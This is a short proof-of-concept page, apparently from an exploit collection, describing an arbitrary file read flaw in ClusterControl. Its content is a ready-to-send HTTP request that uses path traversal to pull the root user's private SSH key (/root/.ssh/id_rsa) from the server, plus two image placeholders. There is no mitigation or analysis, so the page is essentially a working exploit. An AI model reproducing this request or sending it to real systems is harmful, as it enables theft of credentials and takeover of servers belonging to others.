adysec_POC/wpoc/ClusterControl/ClusterControl存在任意文件读取漏洞.md
2025-03-07 18:18:50 +08:00

385 B

ClusterControl存在任意文件读取漏洞

poc

GET /../../../../../../../../..//root/.ssh/id_rsa HTTP/1.1
Host: 
Accept-Encoding: identity
User-Agent: python-urllib3/1.26.4

image.png

image.png